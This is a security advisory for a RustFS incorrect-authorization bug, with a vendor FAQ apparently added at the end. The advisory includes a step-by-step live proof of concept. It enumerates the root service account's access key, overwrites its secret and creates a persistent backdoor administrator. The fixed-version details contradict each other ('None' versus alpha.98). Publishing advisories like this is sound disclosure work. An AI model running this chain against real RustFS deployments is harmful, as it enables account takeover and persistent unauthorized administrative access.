GHSA-MM2Q-QCMX-GW4W

ListServiceAccount (GET /rustfs/admin/v3/list-service-accounts?user=<other>) authorizes cross-user requests against UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction at rustfs/src/admin/handlers/service_account.rs:936. The handler accepts the wrong admin action and rejects the correct one:

• A user granted only admin:UpdateServiceAccount enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata).
• A user granted only admin:ListServiceAccounts, the permission name every IAM document treats as "list service accounts", receives HTTP 403 AccessDenied on the same request.

Because service account access keys act as the identifier a UpdateServiceAccount holder needs to rotate a secret, and the UpdateServiceAccount handler at rustfs/src/admin/handlers/service_account.rs:489 performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite root-sa-1's secret, authenticate as the root user's service account, and create a persistent backdoor admin with admin:* + s3:*. Proven live end-to-end against rustfs/rustfs:latest (1.0.0-alpha.91, revision d4ea14c2), the same revision is byte-identical on current origin/main.

Vulnerability Details

• Package: rustfs (binary crate rustfs)
• Affected versions: From 0a2411f (the initial service_account.rs check-in on 2026-03-15) through current HEAD 90e584a. The vulnerable line has never been touched.
• Fixed versions: None
• Vulnerable file: rustfs/src/admin/handlers/service_account.rs
• Vulnerable route: GET /rustfs/admin/v3/list-service-accounts?user=<other_user> (ListServiceAccount::call)
• CWE: CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)
• CVSS (demonstrated chain to full admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical. If scored as Scope:Unchanged the vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The list bug alone (no chain) is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.

Two Distinct Vulnerabilities

This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:

Vulnerability A, Wrong action constant in ListServiceAccount (CWE-863)
ListServiceAccount::call at line 936 checks UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion, the correct permission (admin:ListServiceAccounts) is rejected, and the wrong one (admin:UpdateServiceAccount) is accepted. Independently, this is a Medium-severity cross-user information disclosure.

Vulnerability B, Missing ownership check in UpdateServiceAccount (CWE-620)
UpdateServiceAccount::call at lines 489-614 authorizes on possession of admin:UpdateServiceAccount but never verifies the target ?accessKey= belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out get_service_account call that would have loaded the target for such a check. This means any holder of admin:UpdateServiceAccount can overwrite any service account's secret in the cluster, regardless of ownership.

Chain (A + B), Full RustFS administrative takeover
Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (admin:UpdateServiceAccount) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control.

Authorization mismatch at a glance:

Exact policies attached to each test identity (retrieved from running server via GET /admin/v3/info-canned-policy):

    legit-list-pol      -> {"Action": ["admin:ListServiceAccounts"],  "Resource": ["arn:aws:s3:::*"]}
    list-sa-probe-pol   -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]}
    list-sa-restricted  -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]}
    (zero-priv-user has no attached policy)

Why the correct permission gets 403

The handler at line 936 calls is_allowed with the action AdminAction::UpdateServiceAccountAdminAction. The IAM engine performs an exact string match between the action in the is_allowed call (admin:UpdateServiceAccount) and the action in the caller's attached policy:

• legit-list-user has policy action admin:ListServiceAccounts. This does not match admin:UpdateServiceAccount. is_allowed returns false. The handler returns 403. The user who holds the correct permission for listing service accounts is denied.
• probe-user has policy action admin:UpdateServiceAccount. This matches admin:UpdateServiceAccount. is_allowed returns true. The handler returns 200. The user who holds a different, unrelated permission is granted access to a list endpoint.
• restricted-update-user has the same action string but resource-scoped to arn:aws:s3:::probe-scope/*. Admin-action statements skip resource matching (crates/policy/src/policy/statement.rs:132: && !self.is_admin() && !self.is_sts()), so the resource restriction is ignored and is_allowed still returns true.

There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (crates/policy/src/policy/action.rs:459-462) with distinct strum(serialize) values. The IAM engine is working correctly; the handler passes the wrong action to it.

Raw request/response for legit-list-user (the counterintuitive 403):

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1
    Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...

    HTTP/1.1 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

Why this is not "working as intended":

• admin:UpdateServiceAccount and admin:ListServiceAccounts are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.
• Three sibling list handlers in the same file (lines 658, 799, 1095) all check ListServiceAccountsAdminAction. Only line 936 deviates.
• CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: ImportIam checking ExportIAMAction was rated Medium and fixed. The same class of bug applies here.
• A zero-privilege user (no admin policies at all) cannot exploit either vulnerability, both handlers correctly enforce their respective is_allowed checks. The bug is that the list handler enforces the wrong action constant, not that it skips enforcement entirely.

Root Cause, Vulnerability A (Wrong Action Constant)

ListServiceAccount::call is registered for GET /rustfs/admin/v3/list-service-accounts at rustfs/src/admin/handlers/service_account.rs:137-141. The cross-user branch (entered when ?user=<x> does not match the caller) checks the wrong admin action:

// rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)
let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
    if !iam_store
        .is_allowed(&Args {
            account: &cred.access_key,
            groups: &cred.groups,
            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG
            bucket: "",
            conditions: &get_condition_values(...),
            is_owner: owner,
            object: "",
            claims: cred.claims.as_ref().unwrap_or(&HashMap::new()),
            deny_only: false,
        })
        .await
    {
        return Err(s3_error!(AccessDenied, "access denied"));
    }
    query.user.unwrap_or_default()
} else if cred.parent_user.is_empty() {
    cred.access_key
} else {
    cred.parent_user
};

The action enum definitions are cleanly distinct at crates/policy/src/policy/action.rs:459-464:

#[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction,
#[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction,
#[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction,
#[strum(serialize = "admin:ListServiceAccounts")]  ListServiceAccountsAdminAction,

Every other list handler in the same file authorizes on the correct constant:

rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -> ListServiceAccountsAdminAction

Only ListServiceAccount::call at line 936 deviates. This is a typo/wiring error, not a design choice.

git blame shows the line has been wrong since commit 0a2411f (heihutu, 2026-03-15), the initial check-in of service_account.rs.

Root Cause, Vulnerability B (Missing Ownership Check in Update)

Service account access keys are the identifier the UpdateServiceAccount handler accepts via the ?accessKey= query string. Inspecting UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614:

let access_key = query.access_key;                                // line 509
...
if !iam_store.is_allowed(&Args {
    account: &cred.access_key,
    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
    ...
}).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559
...
let updated_at = iam_store.update_service_account(&access_key, opts).await  // line 579
    .map_err(...)?;

The handler authorizes on possession of admin:UpdateServiceAccount and never checks that the ?accessKey= query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out get_service_account call that would have loaded the target SA for an ownership check, it was present in the initial commit and has been commented out since:

// let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| {
//     debug!("get service account failed, e: {:?}", e);
//     s3_error!(InternalError, "get service account failed")
// })?;

The inner IamSys::update_service_account at crates/iam/src/sys.rs:495-501 delegates to IamCache::update_service_account at crates/iam/src/manager.rs:663 which loads the credentials by access-key name, verifies it is a service account, and overwrites secret_key, again, no ownership check:

// crates/iam/src/manager.rs:663
pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> {
    let Some(ui) = self.cache.users.load().get(name).cloned() else {
        return Err(Error::NoSuchServiceAccount(name.to_string()));
    };
    ...
    let mut cr = ui.credentials.clone();
    let current_secret_key = cr.secret_key.clone();

    if let Some(secret) = opts.secret_key {
        if !is_secret_key_valid(&secret) {
            return Err(Error::InvalidSecretKeyLength);
        }
        cr.secret_key = secret;                // <-- attacker-chosen
    }
    ...

So a holder of admin:UpdateServiceAccount who knows any service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including root-sa-1.

The two bugs together form a clean chain:

1. Attacker has a single admin permission: admin:UpdateServiceAccount.
2. Attacker calls GET /v3/list-service-accounts?user=rustfsadmin, vulnerable handler grants access.
3. Attacker reads accessKey=root-sa-1 out of the response.
4. Attacker calls POST /v3/update-service-account?accessKey=root-sa-1 with body {"newSecretKey":"..."}, ownership-less handler overwrites.
5. Attacker authenticates as root-sa-1 with the chosen secret and inherits the root user's full admin:* + s3:* authority.

Environment and Version Alignment

• Image: rustfs/rustfs:latest, digest sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a

• Labels: org.opencontainers.image.version=1.0.0-alpha.91, org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37, org.opencontainers.image.build-type=prerelease

• Source verification:

    $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
            let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                if !iam_store
                    .is_allowed(&Args {
                        account: &cred.access_key,
                        groups: &cred.groups,
                        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                        bucket: "",
                        ...
  
    $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
            let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                if !iam_store
                    .is_allowed(&Args {
                        account: &cred.access_key,
                        groups: &cred.groups,
                        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                        bucket: "",
                        ...
  

Byte-identical. The shipped image contains the same vulnerable handler as the tip of main.

Proof of Concept (executed live)

Environment

docker run -d --name rustfs-poc --memory=2g -p 9100:9000
-e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin
rustfs/rustfs:latest

Root credentials: rustfsadmin:rustfsadmin.

Step 1, Provision the probe identity

The probe policy grants exactly one admin action, scoped to the broadest resource. Nothing else.

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:UpdateServiceAccount"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Creation as root:

    PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -> 200  (secret: probe-secret1234)
    PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -> 200  (no policy)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates victim-sa-1 under victim-user)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates root-sa-1 under rustfsadmin)

Step 2, Baseline: probe-user is actually constrained

Confirming probe-user is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege:

    GET /rustfs/admin/v3/list-users                 as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/info                       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-canned-policies       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/kms/status                 as probe-user -> 403 AccessDenied
    PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-service-accounts      as probe-user -> 200 {"accounts":[]}  # self-scope OK

The self-scope list (no user= query) returns an empty array, the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.

Step 3, Primary exploit: enumerate other users' service accounts

GET /rustfs/admin/v3/list-service-accounts?user=victim-user as probe-user -> 200
{"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]}

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -> 200
    {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]}

Exposed per entry: parentUser, accountStatus, impliedPolicy, accessKey, name, description, expiration. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the accessKey, the identifier that the UpdateServiceAccount endpoint consumes via ?accessKey=.

Step 4, Differential: the correct permission gets denied

Created legit-list-user with a policy granting only admin:ListServiceAccounts:

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:ListServiceAccounts"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Running the same request:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -> 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

This is the damning evidence of inversion. The handler refuses the correct permission (admin:ListServiceAccounts) and accepts the wrong one (admin:UpdateServiceAccount). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators admin:ListServiceAccounts to view the service account inventory, the intuitive and documented approach, will see every cross-user list request return 403 until this bug is fixed.

The resource-scoped variant gave the same result as the broad variant:

    # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)
    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -> 200 (same body as probe-user)

Resource restrictions on admin actions are skipped in crates/policy/src/policy/statement.rs:132 (&& !self.is_admin() && !self.is_sts()), so the bug is equally reachable by an operator whose admin:UpdateServiceAccount grant was scoped to a specific bucket.

And unauthenticated requests are still rejected:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  (no signature) -> 403 "Signature is required"

This is an authenticated privilege-boundary violation, not a pre-auth bug.

Step 4b, Zero-privilege user is correctly blocked

To confirm the bug is in the action constant (not a missing check), created zero-priv-user with no policies at all:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as zero-priv-user -> 403 AccessDenied
    POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as zero-priv-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-service-accounts  as zero-priv-user -> 200 {"accounts":[]}  # self-scope only

The is_allowed check at line 936 fires and correctly blocks zero-priv-user because they have no admin permissions. The bug is not that the check is skipped, it is that the check uses the wrong action constant, so it grants access to users holding admin:UpdateServiceAccount (the wrong permission) and denies users holding admin:ListServiceAccounts (the correct permission).

Step 5, Full chain to RustFS admin takeover (persistent backdoor)

With accessKey=root-sa-1 known, probe-user (still only admin:UpdateServiceAccount) hijacks the root service account's secret:

    POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user
         body: {"newSecretKey":"pwned-secret-2"}                           -> 204 NoContent

Then re-signs and calls admin APIs as root-sa-1/pwned-secret-2:

    GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -> 200
    {"svinfo-user":{"policyName":"serverinfo-only","status":"enabled",...},
     "probe-user":{"policyName":"list-sa-probe-pol","status":"enabled",...},
     "readonly-user":{"policyName":"readonly","status":"enabled",...},
     "victim-user":{"status":"enabled",...}}

    GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -> 200
    {"mode":"online","backend":{"backendType":"Erasure","online":...},"buckets":{"count":...},"services":{...}}

Both endpoints previously returned 403 for probe-user. They now succeed because root-sa-1 inherits rustfsadmin's full authority.

Extending the chain to a persistent backdoor, still driven by probe-user's hijacked root-sa-1 session:

    PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin                 -> 200  (body: {"secretKey":"backdoor-secret-9","status":"enabled"})
    PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all            -> 200  (body: admin:* + s3:*)
    PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin&isGroup=false&policyName=proof-admin-all -> 200

Direct authentication as the new admin (no further reliance on the hijacked SA):

    GET /rustfs/admin/v3/list-users  as backdoor-admin/backdoor-secret-9   -> 200 (same full user dump)
    PUT /proof-admin-bucket          as backdoor-admin/backdoor-secret-9   -> 200 (new bucket created on the S3 plane)

The attacker now owns a persistent admin identity with admin:* and s3:* that will survive secret rotations on root-sa-1. Starting identity was a user granted exactly one admin action.

Full PoC scripts

Runnable top-to-bottom against a fresh rustfs/rustfs:latest container. Each script prints raw HTTP status codes and response bodies.

• poc/01_setup_probe_user.py, create policies, users, service accounts.
• poc/02_baseline_probe.py, 403/200 differential on unrelated admin endpoints.
• poc/03_exploit.py, primary ListServiceAccount enumeration.
• poc/04_escalate_takeover.py, hijack root-sa-1 and prove admin calls.
• poc/05_full_root_compromise.py, end-to-end chain including backdoor-admin creation and new bucket.
• poc/06_differential_and_resource.py, legit-list-user 403 and resource-scoped 200.

Recommended follow-up (separate but related)

Even after this fix, UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614 will still lack any check that the target ?accessKey= belongs to the caller (or the caller's parent), so any holder of admin:UpdateServiceAccount who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling iam_store.update_service_account:

let target = iam_store.get_service_account(&access_key).await
    .map_err(|e| map_service_account_lookup_error(e, "get service account failed"))?;
let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() };
if target.0.parent_user != caller_parent && !is_owner {
    // Only root or the parent user should be able to mutate this SA.
    // (Or additionally require a dedicated admin action granted to full admins.)
    return Err(s3_error!(AccessDenied, "access denied"));
}

This additional check closes the secret-rotation primitive for non-root holders of admin:UpdateServiceAccount. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.

Self-Review

• Is this by-design? No. The three sibling list handlers at lines 658, 799, and 1095 all enforce ListServiceAccountsAdminAction. The action enum has distinct admin:UpdateServiceAccount and admin:ListServiceAccounts strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (ImportIam using ExportIAMAction) is the maintainers' own precedent that this class of bug is treated as a real security issue.
• Reachability? Proven live on rustfs/rustfs:latest revision d4ea14c2. Response bodies captured in the report above and in poc/ logs.
• Is there upstream routing that enforces admin? No. S3Router::register dispatches directly from service_account.rs:137-141 into ListServiceAccount::call; the only authorization is the is_allowed call at line 931-953. Confirmed by the 200 return for probe-user and the 403 return for legit-list-user on the same path.
• Prior art? No existing rustfs advisory covers this handler. CVE-2026-22042 is the same class of bug in a different handler; CVE-2026-22043 is a deny_only short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.
• Is the docker image the same code as main? Yes. Image label org.opencontainers.image.revision=d4ea14c2; git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs at lines 931-960 is byte-identical to git show origin/main:rustfs/src/admin/handlers/service_account.rs. Re-verified on 2026-04-09 at HEAD 90e584a, file unchanged since initial commit 0a2411f.
  • The commented-out ownership check at lines 522-525 of UpdateServiceAccount::call demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision, it is incomplete implementation that this report's chain exploits.
• Honest limitations:
  • The primary exploit requires an authenticated principal with admin:UpdateServiceAccount. It is not pre-auth.
  • Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the Update path to overwrite the secret, not on reading a leaked secret.
  • The full administrative takeover chain depends on the separate UpdateServiceAccount ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as Medium cross-user information disclosure (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5). The live PoC and differential stand independent of that scoping.
  • The differential (legit-list-user → 403, probe-user → 200) isolates the cause to the handler's action constant and is reproducible in seconds against a fresh container.

Resources

• Vulnerable file in image: rustfs/src/admin/handlers/service_account.rs @ d4ea14c2ba99602314511d5862005f7b871ece37
• Vulnerable file at HEAD: rustfs/src/admin/handlers/service_account.rs @ 90e584a (file unchanged since 0a2411f)
• Incorrect action at line 936: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953
• Correct action at line 658 (InfoServiceAccount): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658
• Correct action at line 799 (InfoAccessKey): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799
• Correct action at line 1095 (ListAccessKeysBulk): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095
• AdminAction enum: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464
• UpdateServiceAccount handler (ownership gap): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614
• IamCache::update_service_account: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663
• Admin statements skip resource matching: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132
• rustfs security policy: https://github.com/rustfs/rustfs/security/policy
• Prior art (same class, different handler): CVE-2026-22042 / GHSA-vcwh-pff9-64cc

Koda Reef

1. Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High).
   A user with a single admin permission (admin:UpdateServiceAccount) chains the list bug with the ownership-free UpdateServiceAccount handler to overwrite any service account's secret, including the root administrator's, and inherit full admin:* + s3:* authority over the RustFS deployment. Demonstrated live: probe-user → list → hijack root-sa-1 → create persistent backdoor-admin → create bucket.

2. Authorization inversion on a core admin endpoint (Integrity).
   Users granted the intended admin:ListServiceAccounts permission receive 403 on cross-user list requests. A rustfs deployment that issues admin:ListServiceAccounts to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.

3. Cross-user service-account inventory disclosure (Confidentiality: High).
   Even absent the update-ownership gap, the bug exposes every service account's access key, owning principal, name, description, account status, and expiration to any admin:UpdateServiceAccount holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.

4. Resource-scoped policies provide no mitigation (Integrity).
   statement.rs:132 skips resource matching for admin statements, so restricting admin:UpdateServiceAccount to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

Kodem intelligence

The minimal, correct fix is a one-line change at rustfs/src/admin/handlers/service_account.rs:936:

// rustfs/src/admin/handlers/service_account.rs:936
-                    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
+                    action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),

This brings ListServiceAccount in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce ListServiceAccountsAdminAction, and restores the documented meaning of the admin:ListServiceAccounts permission for operators who rely on it.

1. What is GHSA-MM2Q-QCMX-GW4W? GHSA-MM2Q-QCMX-GW4W is a high-severity incorrect authorization vulnerability in rustfs (rust), affecting versions <= 1.0.0-alpha.91. It is fixed in 1.0.0-alpha.98. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. Which versions of rustfs are affected by GHSA-MM2Q-QCMX-GW4W? rustfs (rust) versions <= 1.0.0-alpha.91 is affected.
3. Is there a fix for GHSA-MM2Q-QCMX-GW4W? Yes. GHSA-MM2Q-QCMX-GW4W is fixed in 1.0.0-alpha.98. Upgrade to this version or later.
4. Is GHSA-MM2Q-QCMX-GW4W exploitable, and should I be worried? Whether GHSA-MM2Q-QCMX-GW4W is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-MM2Q-QCMX-GW4W is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-MM2Q-QCMX-GW4W? Upgrade rustfs to 1.0.0-alpha.98 or later.